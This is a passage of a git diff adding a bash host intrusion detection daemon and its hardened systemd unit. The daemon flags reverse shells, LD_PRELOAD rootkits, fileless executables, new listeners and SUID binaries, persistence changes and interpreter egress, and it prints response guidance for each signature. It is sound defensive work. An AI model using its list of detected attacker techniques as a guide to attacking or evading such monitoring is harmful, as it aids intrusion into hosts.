pid=${pid%%/*} + read -r comm < "/proc/$pid/comm" 2>/dev/null || comm="?" + printf 'CRITICAL\tdeleted_exe\tkey=del:%s pid=%s comm=%s exe=[%s]\n' \ + "$pid" "$pid" "$comm" "$target" + done < <(ls -l /proc/[0-9]*/exe 2>/dev/null) +} + +# Listener baseline: set of "port/comm" present at baseline time. +build_listener_baseline() { + ss -H -tlnp 2>/dev/null | awk '{ + n=split($4,a,":"); port=a[n]; + comm="?"; if (match($0,/"[^"]+"/)) comm=substr($0,RSTART+1,RLENGTH-2); + print port"/"comm + }' | sort -u > "$LOG_DIR/.listener-baseline" +} + +detect_new_listener() { + [ -r "$LOG_DIR/.listener-baseline" ] || return 0 + local line port comm key + while IFS= read -r line; do + port=$(awk '{n=split($4,a,":"); print a[n]}' <<< "$line") + comm="?"; [[ "$line" =~ \"([^\"]+)\" ]] && comm="${BASH_REMATCH[1]}" + key="$port/$comm" + grep -qxF "$key" "$LOG_DIR/.listener-baseline" && continue + case " $LISTENER_ALLOW_PORTS " in *" $port "*) continue ;; esac + local addr; addr=$(awk '{print $4}' <<< "$line") + printf 'HIGH\tnew_listener\tkey=lis:%s new listening socket %s by comm=%s\n' \ + "$key" "$addr" "$comm" + done < <(ss -H -tlnp 2>/dev/null) +} + +build_suid_baseline() { + find / -xdev \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null \ + | sort -u > "$LOG_DIR/.suid-baseline" +} + +detect_new_suid() { + [ -r "$LOG_DIR/.suid-baseline" ] || return 0 + local f + while IFS= read -r f; do + grep -qxF "$f" "$LOG_DIR/.suid-baseline" && continue + local sev=HIGH why="new SUID/SGID binary" + for d in $SUID_HOT_DIRS; do + case "$f" in "$d"/*) sev=CRITICAL; why="SUID/SGID binary in writable dir"; break ;; esac + done + printf '%s\tnew_suid\tkey=suid:%s %s: %s\n' "$sev" "$f" "$why" "$f" + done < <(find / -xdev \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null) +} + +detect_persistence() { + local since="$1" f + # -newermt @epoch matches files modified strictly after that time. + while IFS= read -r f; do + [ -n "$f" ] || continue + printf 'HIGH\tpersistence\tkey=persist:%s persistence file modified: %s\n' "$f" "$f" + done < <(find $WATCH_PERSISTENCE -newermt "@$since" \( -type f -o -type l \) 2>/dev/null) +} + +detect_egress() { + local line addr port comm pid + while IFS= read -r line; do + # ss -Hntp output: ... peer_addr:port users:(("comm",pid=NNN,fd=N)) + local raddr; raddr=$(awk '{print $5}' <<< "$line") + addr=${raddr%:*}; port=${raddr##*:} + addr=${addr#[}; addr=${addr%]} + [[ "$line" =~ \"([^\"]+)\",pid=([0-9]+) ]] || continue + comm="${BASH_REMATCH[1]}"; pid="${BASH_REMATCH[2]}" + case " $INTERPRETERS " in *" $comm "*) ;; *) continue ;; esac + is_public_ip "$addr" || continue + ip_in_cidrs "$addr" "$EGRESS_ALLOW_CIDRS" && continue + printf 'HIGH\tsuspicious_egress\tkey=egr:%s:%s pid=%s comm=%s -> %s:%s (interpreter to public IP)\n' \ + "$pid" "$addr" "$pid" "$comm" "$addr" "$port" + done < <(ss -H -tnp state established 2>/dev/null) +} + +run_detectors() { + local since="$1" do_suid="${2:-0}" + [ "$DET_REVERSE_SHELL" = 1 ] && detect_reverse_shell + [ "$DET_LD_PRELOAD" = 1 ] && detect_ld_preload + [ "$DET_DELETED_EXE" = 1 ] && detect_deleted_exe + [ "$DET_EGRESS" = 1 ] && detect_egress + # New-listener / new-suid / persistence only after the grace window so we + # don't alert on everything that existed at startup. + if [ $(( $(date +%s) - START_TIME )) -ge "$BASELINE_GRACE" ]; then + [ "$DET_NEW_LISTENER" = 1 ] && detect_new_listener + [ "$DET_PERSISTENCE" = 1 ] && detect_persistence "$since" + # SUID scan walks the whole filesystem, so it runs on a slow cadence + # (do_suid is decided by the caller), not every sweep. + [ "$DET_NEW_SUID" = 1 ] && [ "$do_suid" = 1 ] && detect_new_suid + fi + return 0 +} + +# -------------------------------------------------------------------------- +# Per-signature incident-response guidance (the security analogue of +# freeze-watcher's classify_snapshot diagnoses). +# -------------------------------------------------------------------------- +signature_response() { + case "$1" in + reverse_shell) + echo "A shell/interpreter has a network socket wired to its stdin/stdout — the canonical reverse-shell signature. RESPONSE: identify the peer IP, kill the pid, inspect parent process and how it was spawned (web/db service = RCE), preserve /proc// before killing if you can." ;; + ld_preload_global) + echo "/etc/ld.so.preload injects a library into EVERY dynamically-linked process — a classic userland rootkit persistence mechanism. RESPONSE: capture the named .so, hash it, check package ownership (pacman -Qo), assume full host compromise until cleared." ;; + ld_preload_proc) + echo "A running process has LD_PRELOAD pointing at a writable/temp path — function-hooking, often to hide files/processes or intercept credentials. RESPONSE: capture the .so, inspect the process tree, determine who set the env var." ;; + deleted_exe) + echo "A process is executing from a deleted or memfd-backed binary — fileless malware that left no file on disk. RESPONSE: dump /proc//exe to recover the binary BEFORE killing, capture maps and sockets." ;; + new_listener) + echo "A listening socket appeared that wasn't present at baseline — possible backdoor/bind shell. RESPONSE: identify the binary, confirm it's an expected service, check for matching inbound connections." ;; + new_suid) + echo "A new SUID/SGID binary appeared (critical if in a writable dir) — a privilege-escalation persistence trick. RESPONSE: verify package ownership; an unowned SUID binary in /tmp or /home is almost never legitimate." ;; + persistence) + echo "A persistence-relevant file (cron, systemd unit, authorized_keys, shell rc) was modified. RESPONSE: diff against backup/version control, review the change, check surrounding auth logs for who made it." ;; + suspicious_egress) + echo "An interpreter is holding an outbound connection to a public IP — possible C2 beacon or data exfil. RESPONSE: resolve/geolocate the peer, check reputation, inspect the process and its parentage." ;; + *) echo "Review the captured process, socket, and file context manually." ;; + esac +} + +# -------------------------------------------------------------------------- +# Snapshot capture +# -------------------------------------------------------------------------- +notify_users() { + [ -z "$NOTIFY_USERS" ] && return 0 + local body="$1" IFS=, + for user in $NOTIFY_USERS; do + user=$(echo "$user" | tr -d '[:space:]'); [ -z "$user" ] && continue + local uid; uid=$(id -u "$user" 2>/dev/null) || continue + sudo -u "$user" \ + DBUS_SESSION_BUS_ADDRESS="unix:path=/run/user/$uid/bus" \ + notify-send -u "$NOTIFY_URGENCY" -a "enodia-sentinel" \ + "⚠ Enodia Sentinel alert" "$body" 2>/dev/null & + done +} + +prune_snapshots() { + if [ "${MAX_SNAPSHOT_AGE_DAYS:-0}" -gt 0 ]; then + find "$LOG_DIR" -maxdepth 1 -name 'alert-*.log' -type f \ + -mtime "+$MAX_SNAPSHOT_AGE_DAYS" -delete 2>/dev/null + fi + if [ "${MAX_SNAPSHOTS:-0}" -gt 0 ]; then + local files + files=$(ls -1t "$LOG_DIR"/alert-*.log 2>/dev/null | tail -n "+$((MAX_SNAPSHOTS+1))") + [ -n "$files" ] && echo "$files" | xargs -r rm -f + fi +} + +# Extract the pids referenced in the triggering alerts so we can deep-dive them. +pids_from_alerts() { + grep -oE 'pid=[0-9]+' <<< "$1" | cut -d= -f2 | sort -un +} + +capture_pid_detail() { + local pid="$1" + local d="/proc/$pid" + [ -d "$d" ] || { echo " pid $pid: gone"; return; } + echo "### pid $pid" + echo " comm: $(cat "$d/comm" 2>/dev/null)" + echo " exe: $(readlink "$d/exe" 2>/dev/null)" + echo " cwd: $(readlink "$d/cwd" 2>/dev/null)" + echo " cmdline: $(tr '\0' ' ' < "$d/cmdline" 2>/dev/null)" + local ppid; ppid=$(awk '/^PPid:/{print $2}' "$d/status" 2>/dev/null) + echo " ppid: $ppid ($(cat "/proc/$ppid/comm" 2>/dev/null))" + echo " uid: $(awk '/^Uid:/{print $2}' "$d/status" 2>/dev/null) gid: $(awk '/^Gid:/{print $2}' "$d/status" 2>/dev/null)" + echo " LD_PRELOAD env: $(tr '\0' '\n' 2>/dev/null < "$d/environ" | sed -n 's/^LD_PRELOAD=//p')" + echo " open fds (socket/file targets):" + local fd t + for fd in "$d"/fd/*; do + t=$(readlink "$fd" 2>/dev/null) || continue + printf ' %s -> %s\n' "${fd##*/}" "$t" + done | head -40 +} + +capture_execve_bpftrace() { + command -v bpftrace >/dev/null 2>&1 || { echo "bpftrace not installed"; return; } + echo "## bpftrace execve trace (3s) — short-lived processes polling can miss" + timeout 4 bpftrace -e ' + tracepoint:syscalls:sys_enter_execve { + printf("%-8d %-16s %s\n", pid, comm, str(args->filename)); + } + interval:s:3 { exit(); } + ' 2>/dev/null | tail -60 +} + +capture_snapshot() { + local alerts="$1" + local final="$LOG_DIR/alert-$(date +%Y%m%d-%H%M%S).log" + local sigs; sigs=$(awk -F'\t' '{print $2}' <<< "$alerts" | sort -u) + local top_sev; top_sev=$(awk -F'\t' '{print $1}' <<< "$alerts" \ + | grep -m1 -E 'CRITICAL' || awk -F'\t' 'NR==1{print $1}' <<< "$alerts") + + { + echo "=== ENODIA SENTINEL ALERT ===" + echo "Time: $(date -Iseconds)" + echo "Host: $(hostname)" + echo "Severity: ${top_sev:-HIGH}" + echo + echo "## Triggering detections" + awk -F'\t' '{printf " [%s] %s — %s\n", $1, $2, $3}' <<< "$alerts" + echo + echo "## Response guidance" + while IFS= read -r s; do + [ -n "$s" ] || continue + echo " • $s:" + echo " $(signature_response "$s")" + done <<< "$sigs" + echo + echo "## Flagged process detail" + local pids; pids=$(pids_from_alerts "$alerts") + if [ -n "$pids" ]; then + for p in $pids; do capture_pid_detail "$p"; echo; done + else + echo " (no specific pid in alerts)" + fi + echo "## Process tree" + ps -eo pid,ppid,user,etimes,pcpu,pmem,stat,comm --sort=-pcpu 2>/dev/null | head -40 + echo + echo "## All established + listening TCP (ss -tanp)" + ss -tanp 2>/dev/null | head -80 + echo + echo "## /etc/ld.so.preload" + if [ -s /etc/ld.so.preload ]; then cat /etc/ld.so.preload; else echo " (empty — good)"; fi + echo + echo "## Recently modified watched files (last 1h)" + find $WATCH_PERSISTENCE -newermt "@$(( $(date +%s) - 3600 ))" \ + \( -type f -o -type l \) -printf ' %TY-%Tm-%Td %TH:%TM %p\n' 2>/dev/null | head -40 + echo + echo "## Recently loaded kernel modules (tail of lsmod)" + lsmod 2>/dev/null | head -15 + echo + echo "## Logged-in users / recent logins" + who 2>/dev/null; echo "--"; last -n 5 2>/dev/null | head -5 + echo + echo "## Recent auth events (authpriv, 10m)" + journalctl --since "10 minutes ago" --facility=authpriv --no-pager 2>/dev/null | tail -20 + echo + if [ "${CAPTURE_EXECVE_BPFTRACE:-0}" = 1 ]; then + capture_execve_bpftrace + fi + } > "$final" 2>&1 + + chmod 640 "$final" 2>/dev/null + + local sig_list; sig_list=$(tr '\n' ',' <<< "$sigs" | sed 's/,$//;s/,/, /g') + echo "$(date -Iseconds) [${top_sev:-HIGH}] captured $final — signatures: ${sig_list}" \ + >> "$LOG_DIR/events.log" + notify_users "${top_sev:-HIGH}: ${sig_list}" +} + +# -------------------------------------------------------------------------- +# Entry points +# -------------------------------------------------------------------------- +case "${1:-}" in + --baseline) + build_listener_baseline; build_suid_baseline + echo "Baselines written to $LOG_DIR/.listener-baseline and .suid-baseline" + exit 0 ;; + --check) + # Re-arm immediately for a one-shot check + START_TIME=$((START_TIME - BASELINE_GRACE - 1)) + [ -r "$LOG_DIR/.listener-baseline" ] || build_listener_baseline + [ -r "$LOG_DIR/.suid-baseline" ] || build_suid_baseline + out=$(run_detectors "$(( $(date +%s) - SAMPLE_INTERVAL ))" 1) + if [ -z "$out" ]; then echo "No alerts."; else + awk -F'\t' '{printf "[%s] %-18s %s\n", $1, $2, $3}' <<< "$out" + fi + exit 0 ;; +esac + +# --- daemon loop ---------------------------------------------------------- +echo "$(date -Iseconds) enodia-sentinel started (pid $$)" >> "$LOG_DIR/events.log" +build_listener_baseline +build_suid_baseline +last_suid_refresh=$START_TIME +prune_snapshots +last_scan=$START_TIME +last_suid_scan=0 + +while true; do + now=$(date +%s) + + # Decide whether this sweep includes the filesystem-wide SUID scan. + do_suid=0 + if [ $(( now - last_suid_scan )) -ge "${SUID_SCAN_INTERVAL:-60}" ]; then + do_suid=1; last_suid_scan=$now + fi + + # Manual trigger (drop a word into $TRIGGER_FILE) + if [ -f "$TRIGGER_FILE" ]; then + rm -f "$TRIGGER_FILE" + capture_snapshot "$(printf 'HIGH\tmanual\tkey=manual manual capture requested')" & + fi + + alerts=$(run_detectors "$last_scan" "$do_suid") + last_scan=$now + + if [ -n "$alerts" ]; then + fresh="" + while IFS= read -r line; do + [ -n "$line" ] || continue + key=$(grep -oE 'key=[^ ]+' <<< "$line" | head -1) + key=${key:-$line} + prev=${last_alert[$key]:-0} + if [ $(( now - prev )) -ge "$COOLDOWN" ]; then + last_alert[$key]=$now + fresh+="$line"$'\n' + fi + done <<< "$alerts" + + if [ -n "$fresh" ]; then + capture_snapshot "${fresh%$'\n'}" & + captures_since_prune=$((captures_since_prune+1)) + if [ "$captures_since_prune" -ge 20 ]; then + prune_snapshots & + captures_since_prune=0 + fi + fi + fi + + # Periodically refresh the SUID baseline so legit installs don't alert forever + if [ $(( now - last_suid_refresh )) -ge "$SUID_REFRESH" ]; then + build_suid_baseline; last_suid_refresh=$now + fi + + sleep "$SAMPLE_INTERVAL" +done diff --git a/systemd/enodia-sentinel.service b/systemd/enodia-sentinel.service new file mode 100644 index 0000000..b513389 --- /dev/null +++ b/systemd/enodia-sentinel.service @@ -0,0 +1,29 @@ +[Unit] +Description=Enodia Sentinel - host intrusion detection daemon +After=network.target +Documentation=https://github.com/Enodia/enodia-sentinel + +[Service] +Type=simple +ExecStart=/usr/local/bin/sentinel.sh +Restart=on-failure +RestartSec=5 + +# Needs to read every process's /proc, sockets, and SUID inventory, so it runs +# as root — but with the surface area locked down. It only ever READS the system +# and WRITES to its own log dir. +ProtectSystem=strict +ReadWritePaths=/var/log/enodia-sentinel +ProtectHome=read-only +NoNewPrivileges=yes +ProtectKernelTunables=yes +ProtectControlGroups=yes +RestrictSUIDSGID=yes +MemoryDenyWriteExecute=yes +LockPersonality=yes +# CAP_SYS_PTRACE: read other processes' /proc; CAP_DAC_READ_SEARCH: read +# root-owned files (authorized_keys, ld.so.preload) regardless of perms. +AmbientCapabilities=CAP_SYS_PTRACE CAP_DAC_READ_SEARCH + +[Install] +WantedBy=multi-user.target